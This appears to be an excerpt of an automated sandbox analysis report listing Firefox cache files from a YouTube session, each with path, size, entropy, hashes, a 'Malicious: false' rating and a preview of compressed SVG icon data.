Preview:	....sNaPpY.`....7@...F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..hd="M25.8411 11.9977C26.6778..8 27.4597 12.414..p9268 13.1082C28.6951 14.2498 ..$876 15.745./d08 16.8789L27.1796 17.9383..,8546 19.5037.N$257 20.436.M.1.\|.21.5102.N`596 22.3558L26.4999 24V25...4..07.1023 25.604...977 24. ...L...C.7.. 6C10.8953.j(9976 9.9998%..1022...5. V12.8264C.(.P$27 10.2604...1799...744...5015L15.8632 3.33586C16.0776 3.03569 16.4721 2.92531 !A.11.0,07062C18.576...8270)Ah347 5.74955 19.0766 7.6144L!p.....76L:...ZM5!.,4999C3.89543... 3!..3954...5.$.V...,!(.1045 .6%H.99 )..999H8V13.6HH5Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\130\{1bdbc69b-aa60-4b90-b8ef-c8ab90d34082}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.357168411530516
Encrypted:	false
SSDEEP:	3:9ZX2RoTTsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHaPURR+NFXUwtQoZi:9ZmeTT9mc4slhohC/vmI4JONW9oZi
MD5:	8CEA0E08ACD44E9071397850D532AFAF
SHA1:	1E353A23566E76BEE55BD81D6D61BF220ECD8096
SHA-256:	841602DE06E45AA544EB2F5AE29E737D7AC639A9174E903C357E591AAD6E34DA
SHA-512:	FE4471BF244C863545A88E99317C76885E2DFE38A286A00D56CC80C874CC7A624EAED1564CAC2B6B21BE9BABD7B04C93FF08C661C04EE78926E4FCCB045F22DB
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....V.....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 13v6h-1v-6h1zm-7-8v14h1V5h-1zM5 9v10h1V9H5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\130\{1bdbc69b-aa60-4b90-b8ef-c8ab90d34082}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.357168411530516
Encrypted:	false
SSDEEP:	3:9ZX2RoTTsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHaPURR+NFXUwtQoZi:9ZmeTT9mc4slhohC/vmI4JONW9oZi
MD5:	8CEA0E08ACD44E9071397850D532AFAF
SHA1:	1E353A23566E76BEE55BD81D6D61BF220ECD8096
SHA-256:	841602DE06E45AA544EB2F5AE29E737D7AC639A9174E903C357E591AAD6E34DA
SHA-512:	FE4471BF244C863545A88E99317C76885E2DFE38A286A00D56CC80C874CC7A624EAED1564CAC2B6B21BE9BABD7B04C93FF08C661C04EE78926E4FCCB045F22DB
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....V.....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 13v6h-1v-6h1zm-7-8v14h1V5h-1zM5 9v10h1V9H5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\130\{73385344-fa0d-41f2-b842-dc5099b0bd82}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	6.328194846894186
Encrypted:	false
SSDEEP:	24:9AX3wOp3VGkscAI3ladofK2uaAHvQ7dKMoB0rxBUkqkQlQfoW7BpS:swO6ksiladoNAHvqABCxBUDPWzS
MD5:	8074DC643BFB7D1C60CEAA4761009FB1
SHA1:	5178BCC18BBE6907F7603A90C9EF1DCC2C3BD9AC
SHA-256:	DF4188F88B0FCB6B315DE652BAAFADC68DE7649E7C3E16F83E162D7A8B5A2751
SHA-512:	3D58B3E2A7DE3CE79CBB8C43471431F4EA6E7E19116057A655CD997C7FF9889F0352E69EDA49009A2DE52BE254FA2CB125D3566D281BC567D4812C9B5BDBA62F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......S...}<svg xmlns="http://www.w3.org/2000/svg">. <defs>. <radialGradient cx="5.4%" cy="7.11%" r="107.93%" fx="5.4%" fy="7.11%" gr.?.Transform="matrix(.70653 0 0 1 .016 0)"....D<stop offset="0%" ..<-color="#FFF"></..V2..10R4..F$opacity="06E..</6...[.</d-.4<g fill="none"..8-rule="evenodd".0h <path d="M1 1h21.77v22H1z.m...'.O.C.nonzero.C.E.p.#F00".Q.22.54 7.6s-.2-1.5-.86-2.17c-.83-.87-1.7...8..D8-.93-3.04-.22-7.6.8.. s-4.56-.0..@.2c-.43.05-1.35.0.W.8.?..65.67.j. 2..S.8..XS1.04 9.4 1 11.18v1.66c..,1.78.26 3.55...s.2 1.5.>Pc.83.87 1.9.84 2.4.94.9@.15 7.2.2 7.38.2 A!.4.57 0......43-.05 ...-.0......65-.67-..8...s.2!..77.24-...v-.......-....:..>...A..).@9.68 8.9v6.18l5.8.c.16..:?..0!.!.Y...122O..8.K413 3.48.73-.38rS.a.>S..R.5..5.z5...1A3!..6.26!..4...sI.-..7A3.-.88A&E.M..9!'I.M"...sQ.....2cI.E7A?.2.E.E..6M.A<...7A4.i.8.2._(55v-.1c0-1.A.aUa=..v...3E2723v...16.4a.. m...e.q...m.a.a.A..7.6.m.i.m..-m.a&e.a&..m'a....F.8..a*..%..7....0e.!.a.!...6..%.1...-`. ..)...%...0....:...5.<y

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\130\{73385344-fa0d-41f2-b842-dc5099b0bd82}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	6.328194846894186
Encrypted:	false
SSDEEP:	24:9AX3wOp3VGkscAI3ladofK2uaAHvQ7dKMoB0rxBUkqkQlQfoW7BpS:swO6ksiladoNAHvqABCxBUDPWzS
MD5:	8074DC643BFB7D1C60CEAA4761009FB1
SHA1:	5178BCC18BBE6907F7603A90C9EF1DCC2C3BD9AC
SHA-256:	DF4188F88B0FCB6B315DE652BAAFADC68DE7649E7C3E16F83E162D7A8B5A2751
SHA-512:	3D58B3E2A7DE3CE79CBB8C43471431F4EA6E7E19116057A655CD997C7FF9889F0352E69EDA49009A2DE52BE254FA2CB125D3566D281BC567D4812C9B5BDBA62F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......S...}<svg xmlns="http://www.w3.org/2000/svg">. <defs>. <radialGradient cx="5.4%" cy="7.11%" r="107.93%" fx="5.4%" fy="7.11%" gr.?.Transform="matrix(.70653 0 0 1 .016 0)"....D<stop offset="0%" ..<-color="#FFF"></..V2..10R4..F$opacity="06E..</6...[.</d-.4<g fill="none"..8-rule="evenodd".0h <path d="M1 1h21.77v22H1z.m...'.O.C.nonzero.C.E.p.#F00".Q.22.54 7.6s-.2-1.5-.86-2.17c-.83-.87-1.7...8..D8-.93-3.04-.22-7.6.8.. s-4.56-.0..@.2c-.43.05-1.35.0.W.8.?..65.67.j. 2..S.8..XS1.04 9.4 1 11.18v1.66c..,1.78.26 3.55...s.2 1.5.>Pc.83.87 1.9.84 2.4.94.9@.15 7.2.2 7.38.2 A!.4.57 0......43-.05 ...-.0......65-.67-..8...s.2!..77.24-...v-.......-....:..>...A..).@9.68 8.9v6.18l5.8.c.16..:?..0!.!.Y...122O..8.K413 3.48.73-.38rS.a.>S..R.5..5.z5...1A3!..6.26!..4...sI.-..7A3.-.88A&E.M..9!'I.M"...sQ.....2cI.E7A?.2.E.E..6M.A<...7A4.i.8.2._(55v-.1c0-1.A.aUa=..v...3E2723v...16.4a.. m...e.q...m.a.a.A..7.6.m.i.m..-m.a&e.a&..m'a....F.8..a*..%..7....0e.!.a.!...6..%.1...-`. ..)...%...0....:...5.<y

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\131\{d6af49c8-3de3-400a-8ec9-361d82664d83}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.621340772874172
Encrypted:	false
SSDEEP:	6:9b119mc4slhLJ9hCqhHDCbNxHUDEgTLMAqY:9Zr7N9UqhHCxUvLzqY
MD5:	5ECAD04347C2A8C59C4B6A885E947FCC
SHA1:	DDFCB94AC1AF832B6A831DFABD66B47138534EE0
SHA-256:	9FB212FC86221EFFF20FAFF19C616C41932108A588078ED6A6377CDE48E81D4D
SHA-512:	9A79703298AD64B902F6A0328F6C80031F540A7267CE4F4C96CC33B6B9AB2BA23F1B190F0ED1A51DA1ED7306DAB020EF30F87331DA5CD77D01789C5E8887FAF4
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......k...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..l><path d="M3 3.03V21h14l4-4V...H3zM6 6h12v2H6V6zm7 9v-2h5v2h-5zm0-3v...-1 6H6v-8h6v8zm4-2h3.99L16 19.99V16z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\131\{d6af49c8-3de3-400a-8ec9-361d82664d83}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.621340772874172
Encrypted:	false
SSDEEP:	6:9b119mc4slhLJ9hCqhHDCbNxHUDEgTLMAqY:9Zr7N9UqhHCxUvLzqY
MD5:	5ECAD04347C2A8C59C4B6A885E947FCC
SHA1:	DDFCB94AC1AF832B6A831DFABD66B47138534EE0
SHA-256:	9FB212FC86221EFFF20FAFF19C616C41932108A588078ED6A6377CDE48E81D4D
SHA-512:	9A79703298AD64B902F6A0328F6C80031F540A7267CE4F4C96CC33B6B9AB2BA23F1B190F0ED1A51DA1ED7306DAB020EF30F87331DA5CD77D01789C5E8887FAF4
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......k...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..l><path d="M3 3.03V21h14l4-4V...H3zM6 6h12v2H6V6zm7 9v-2h5v2h-5zm0-3v...-1 6H6v-8h6v8zm4-2h3.99L16 19.99V16z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\134\{58e570ab-59d1-4ec9-ab1e-de019be19086}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.38043569661714
Encrypted:	false
SSDEEP:	6:9NRWOI9mc4slhLJ9hCcjxjN9RotqtWIXWkjRBnmHRLmTCSkeLlzIxfIcHTJ3WmIi:9/47N9U0R9jRxmHRLkCsL9IxflJ4i
MD5:	BCA3032426D23DAED1B2D997B7BD5FAD
SHA1:	76A4776FCCA6E6ADD4773481B6B3A82A7C3F5A34
SHA-256:	41B63A851C63D3C6BA8BD92548013E1A472973011F0BE1B95EB2E29697B32B34
SHA-512:	67B6C14E89BE76624F964ECA71653977F3E4C5D8364FA9E008A6810EFA9D0BA359AAFA79570278BD80E57B6E31820D27DDA06A588873C181EE96D8C868C4B822
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.;..$G.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width....><path d="M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2zm10-2.65V19H4v-1.65l2-1.88v-5.15C6 7.4 7.56 5.1 10 4.34v-.38c0-1.42 1.49-2.5 2.99-1.76.65.3...01 1.03.....76v.39c2.44.75 4 3.06 4 5.98v5.15l2 1.87z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\134\{58e570ab-59d1-4ec9-ab1e-de019be19086}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.38043569661714
Encrypted:	false
SSDEEP:	6:9NRWOI9mc4slhLJ9hCcjxjN9RotqtWIXWkjRBnmHRLmTCSkeLlzIxfIcHTJ3WmIi:9/47N9U0R9jRxmHRLkCsL9IxflJ4i
MD5:	BCA3032426D23DAED1B2D997B7BD5FAD
SHA1:	76A4776FCCA6E6ADD4773481B6B3A82A7C3F5A34
SHA-256:	41B63A851C63D3C6BA8BD92548013E1A472973011F0BE1B95EB2E29697B32B34
SHA-512:	67B6C14E89BE76624F964ECA71653977F3E4C5D8364FA9E008A6810EFA9D0BA359AAFA79570278BD80E57B6E31820D27DDA06A588873C181EE96D8C868C4B822
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.;..$G.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width....><path d="M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2zm10-2.65V19H4v-1.65l2-1.88v-5.15C6 7.4 7.56 5.1 10 4.34v-.38c0-1.42 1.49-2.5 2.99-1.76.65.3...01 1.03.....76v.39c2.44.75 4 3.06 4 5.98v5.15l2 1.87z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\135\{f64c1406-d294-4fd7-b00e-0d1608c9cf87}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.568879451588068
Encrypted:	false
SSDEEP:	3:90Ap3KsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17qbr4+HOoZKbVDCjG1UfJQNHzbi:9vp69mc4slhLJ9hCcspZKeG/i
MD5:	103A3BB224F38CAC909B8F5719AC61FD
SHA1:	A2F0CA0141ADD7D8CCF18E2CFB38ACFCEE45A0FC
SHA-256:	63F1C1EB498439212024B5BCC18287E503B28CF7D84C3723D153A78F1CBDE45D
SHA-512:	00C640A963AB78076B97323B51F2A3E8FBCFE288BF3CB52C97D4C3E5CB8E62E29AFFC9F616ED35D3EE978027CCC9D8D23DBC9D7E78F48ABE8DC707FC6FB215C1
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....S.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...O><path d="M20 7H4V6h16v1zm2 2v12H2V9h20zm-7 6-5-3v6l5-3zm2-12H7v1h10V3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\135\{f64c1406-d294-4fd7-b00e-0d1608c9cf87}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.568879451588068
Encrypted:	false
SSDEEP:	3:90Ap3KsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17qbr4+HOoZKbVDCjG1UfJQNHzbi:9vp69mc4slhLJ9hCcspZKeG/i
MD5:	103A3BB224F38CAC909B8F5719AC61FD
SHA1:	A2F0CA0141ADD7D8CCF18E2CFB38ACFCEE45A0FC
SHA-256:	63F1C1EB498439212024B5BCC18287E503B28CF7D84C3723D153A78F1CBDE45D
SHA-512:	00C640A963AB78076B97323B51F2A3E8FBCFE288BF3CB52C97D4C3E5CB8E62E29AFFC9F616ED35D3EE978027CCC9D8D23DBC9D7E78F48ABE8DC707FC6FB215C1
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....S.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...O><path d="M20 7H4V6h16v1zm2 2v12H2V9h20zm-7 6-5-3v6l5-3zm2-12H7v1h10V3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\137\{53629ee4-4a03-4d45-addf-7bbe90158389}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1142668400981
Encrypted:	false
SSDEEP:	6:9s5DAv9mc4slhohC/vmI4K+tlq2LwkzdO+iEuUDXpzBX6xjU5SWcYISJ2gLGpnQs:9su1noU/vmRxxVzMHUFXMU5SWclS4Au1
MD5:	A975D247EB217C175E9104E649CFA5D0
SHA1:	D85BA5F059F8B624AABBDCB974B16D05FAD94B1A
SHA-256:	3165DF152EDEC50D78E9A54EDB28E74682976DD15E4BC1E7AE72A5838A8436B4
SHA-512:	CD11924A023F8C57315ACA37F3B77A90B2DDC2DB55417C4002E916C917FA7826C521240A646E24B94CE72192BFCC2739B1EC0EDCB790AE33960A3329C2AF22C8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.X...fS....N.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 5V2H6v3H3v6l3.23 1.61c.7 2.5 2.97 4.34 5.69 4.38L8 19v3h8v-3l-3.92-2.01c2.72-.04 4.99-1.88 5.69-4.38L21 11V5h-3zM6 11.38l-2-1V6h2v5.38zM15 21H9v-1.39l3-1.54 3 1.54V21zm2-10c0 2.76-2.24 5-5 5s-5-2.24-5-5V3h10v8zm3-.62-2 1V6h2v4.38z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\137\{53629ee4-4a03-4d45-addf-7bbe90158389}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1142668400981
Encrypted:	false
SSDEEP:	6:9s5DAv9mc4slhohC/vmI4K+tlq2LwkzdO+iEuUDXpzBX6xjU5SWcYISJ2gLGpnQs:9su1noU/vmRxxVzMHUFXMU5SWclS4Au1
MD5:	A975D247EB217C175E9104E649CFA5D0
SHA1:	D85BA5F059F8B624AABBDCB974B16D05FAD94B1A
SHA-256:	3165DF152EDEC50D78E9A54EDB28E74682976DD15E4BC1E7AE72A5838A8436B4
SHA-512:	CD11924A023F8C57315ACA37F3B77A90B2DDC2DB55417C4002E916C917FA7826C521240A646E24B94CE72192BFCC2739B1EC0EDCB790AE33960A3329C2AF22C8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.X...fS....N.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 5V2H6v3H3v6l3.23 1.61c.7 2.5 2.97 4.34 5.69 4.38L8 19v3h8v-3l-3.92-2.01c2.72-.04 4.99-1.88 5.69-4.38L21 11V5h-3zM6 11.38l-2-1V6h2v5.38zM15 21H9v-1.39l3-1.54 3 1.54V21zm2-10c0 2.76-2.24 5-5 5s-5-2.24-5-5V3h10v8zm3-.62-2 1V6h2v4.38z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\13\{40523106-f8f5-4941-aa72-b622b4496e0d}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.008214620398993
Encrypted:	false
SSDEEP:	6:9tXXRd69mc4slhohC/vmI4tSSJhpbtnRm31IE2l0kjMswple9SY:9gnoU/vmRtXVtnRm31IEURwpY
MD5:	004C0529776665BE8335EF4BEB8D0EB6
SHA1:	8B1FB58622C92F0CE3E490BBF21B532818797F8C
SHA-256:	493593022B630C1C1BDFC20479EBD34465A1BC79E066B04F388C6572375B0005
SHA-512:	6EE9BB5CDDEE2AE52AD1D3F068D08011CA5696975783FCDC816C0E16DD27C87EC0957D6C4B63CDBD76664899FD8F8DF087DB375A5EACA8B9D494430A6AE09EFD
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY............<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M14.97 16.95 10 13.87V7h2v5.76l4.03 2.49-1.06 1.7zM12 3c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m0-1c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\13\{40523106-f8f5-4941-aa72-b622b4496e0d}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.008214620398993
Encrypted:	false
SSDEEP:	6:9tXXRd69mc4slhohC/vmI4tSSJhpbtnRm31IE2l0kjMswple9SY:9gnoU/vmRtXVtnRm31IEURwpY
MD5:	004C0529776665BE8335EF4BEB8D0EB6
SHA1:	8B1FB58622C92F0CE3E490BBF21B532818797F8C
SHA-256:	493593022B630C1C1BDFC20479EBD34465A1BC79E066B04F388C6572375B0005
SHA-512:	6EE9BB5CDDEE2AE52AD1D3F068D08011CA5696975783FCDC816C0E16DD27C87EC0957D6C4B63CDBD76664899FD8F8DF087DB375A5EACA8B9D494430A6AE09EFD
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY............<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M14.97 16.95 10 13.87V7h2v5.76l4.03 2.49-1.06 1.7zM12 3c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m0-1c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\150\{65d9b840-06fa-45f5-9f77-32c5deebcf96}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.167310202099341
Encrypted:	false
SSDEEP:	6:9NyNW/9mc4sl5RINAvxm6lzjQewRNGBvLYjRHaLFQ7UMSXghtrKgYQFEJM:9cNEvqNAJXpQewC58yq7UP8mm7
MD5:	06CE5D1F93456BF84D4FBC0A21D3C723
SHA1:	E5AF6CBBFEE1F0F6664598BC5857BF8CDC1BABFA
SHA-256:	0495E9F2A6DD37A787587B96429E7E96A5821085F53507861063E51832F853F0
SHA-512:	24380F9C2F3945DCAA3EF376C8C0D809EF73D5D88FF16BFC85B8F63CBFC9CDC21C2584F9866E835D93EEFBC50AC7B692683C5073C6F92903A1F83B8181B8AD0F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.;...=.....<svg xmlns="http://www.w3.org/2000/svg">. <path d="M13 9v2h7V4h-2v2.74C16.53 5.07 14.4 4 12 4c-2.21 0-4.21.9-5.66 2.34S4 9.79 4 12c0 4.42 3.58 8 8 8 2.21 0 4.21-.9 .7(-2.34l-1.42..PC15.15 17.33 13.65 18.u(18c-3.31 0-.5D69-6-6 0-1.65.67-3.7..76..H4C8.85 6.67 10.35 6.D.6c...dx.21 5.19 3H13z"></path>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\150\{65d9b840-06fa-45f5-9f77-32c5deebcf96}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.167310202099341
Encrypted:	false
SSDEEP:	6:9NyNW/9mc4sl5RINAvxm6lzjQewRNGBvLYjRHaLFQ7UMSXghtrKgYQFEJM:9cNEvqNAJXpQewC58yq7UP8mm7
MD5:	06CE5D1F93456BF84D4FBC0A21D3C723
SHA1:	E5AF6CBBFEE1F0F6664598BC5857BF8CDC1BABFA
SHA-256:	0495E9F2A6DD37A787587B96429E7E96A5821085F53507861063E51832F853F0
SHA-512:	24380F9C2F3945DCAA3EF376C8C0D809EF73D5D88FF16BFC85B8F63CBFC9CDC21C2584F9866E835D93EEFBC50AC7B692683C5073C6F92903A1F83B8181B8AD0F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.;...=.....<svg xmlns="http://www.w3.org/2000/svg">. <path d="M13 9v2h7V4h-2v2.74C16.53 5.07 14.4 4 12 4c-2.21 0-4.21.9-5.66 2.34S4 9.79 4 12c0 4.42 3.58 8 8 8 2.21 0 4.21-.9 .7(-2.34l-1.42..PC15.15 17.33 13.65 18.u(18c-3.31 0-.5D69-6-6 0-1.65.67-3.7..76..H4C8.85 6.67 10.35 6.D.6c...dx.21 5.19 3H13z"></path>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\153\{8f4d4de8-b727-4edd-8ee9-bb707e411099}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.223351926142302
Encrypted:	false
SSDEEP:	6:9Z69mc4slhohC/vmI4TK4G2aNspl4xt04LmeSSJhEi:9Z6noU/vmRTKd2aNspeiAXEi
MD5:	BC7D8425FE4AAF118642E9A60D1B764D
SHA1:	7456F9CBD82C691A2832CA856873D8E00901FE1B
SHA-256:	0EF51D3DEB46884C157B25B78667241A8809DEE794E3402C07B3C5FE972C1D92
SHA-512:	0A2DD57FB2EA736FAA79C3127AF31AD0671A06653D5BD152597FFF5275C38D816AD1633CFEE6E870C2DE82AAEA14A976D627FAC4458C688D3650AD8197173301
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....(e_.....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4..p-10S17.52 2 12 2zm2.97 14.95L.0.3.87V7h2v5.76l4.03 2.49-1.06 1.7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\153\{8f4d4de8-b727-4edd-8ee9-bb707e411099}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.223351926142302
Encrypted:	false
SSDEEP:	6:9Z69mc4slhohC/vmI4TK4G2aNspl4xt04LmeSSJhEi:9Z6noU/vmRTKd2aNspeiAXEi
MD5:	BC7D8425FE4AAF118642E9A60D1B764D
SHA1:	7456F9CBD82C691A2832CA856873D8E00901FE1B
SHA-256:	0EF51D3DEB46884C157B25B78667241A8809DEE794E3402C07B3C5FE972C1D92
SHA-512:	0A2DD57FB2EA736FAA79C3127AF31AD0671A06653D5BD152597FFF5275C38D816AD1633CFEE6E870C2DE82AAEA14A976D627FAC4458C688D3650AD8197173301
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....(e_.....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4..p-10S17.52 2 12 2zm2.97 14.95L.0.3.87V7h2v5.76l4.03 2.49-1.06 1.7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\156\{175c2587-4cf5-4c06-9c80-d1f89e17709c}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.455347519069132
Encrypted:	false
SSDEEP:	6:9lfETCI9mc4slhLJ9hCsbZfAFYwSHBoxnOLgQ/hpS0CcKyxW8xGeDogniLELo:9WTC47N9UO7wSHBoVOLgw/vCcQ8xGzEo
MD5:	93FE42B9CACAD9A58418D5702E29918D
SHA1:	FC31EA0118B5B0999DC102EFB09ED974B0A6EF9F
SHA-256:	10A26C50074171DEF0DB39D8343CE1B08C398E77336F87DAC2707492053F891A
SHA-512:	9248B47C5B621C6DCD9792B25C765C6BF7DBAB2A03ECA1F4507EA42C1AFF3F08CA165F89C75F43C2BB1F35514845EA7CCEA5199BBF57DDAAF631D0A4BB2CCD7F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.3..t......^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M3,11h3v10H3V11z M18.77...-4.23l1.52-4.94C16.38,5.03,15.54,4,14..L4c-0.58,0-1.14,0.24-.7.,0.65L.L.Sv10h10.43 c1.06,0,1.98-0.67,2.19-1.61l1.34-6C21.23,12.15,20.18,11,18.77,11z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\156\{175c2587-4cf5-4c06-9c80-d1f89e17709c}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.455347519069132
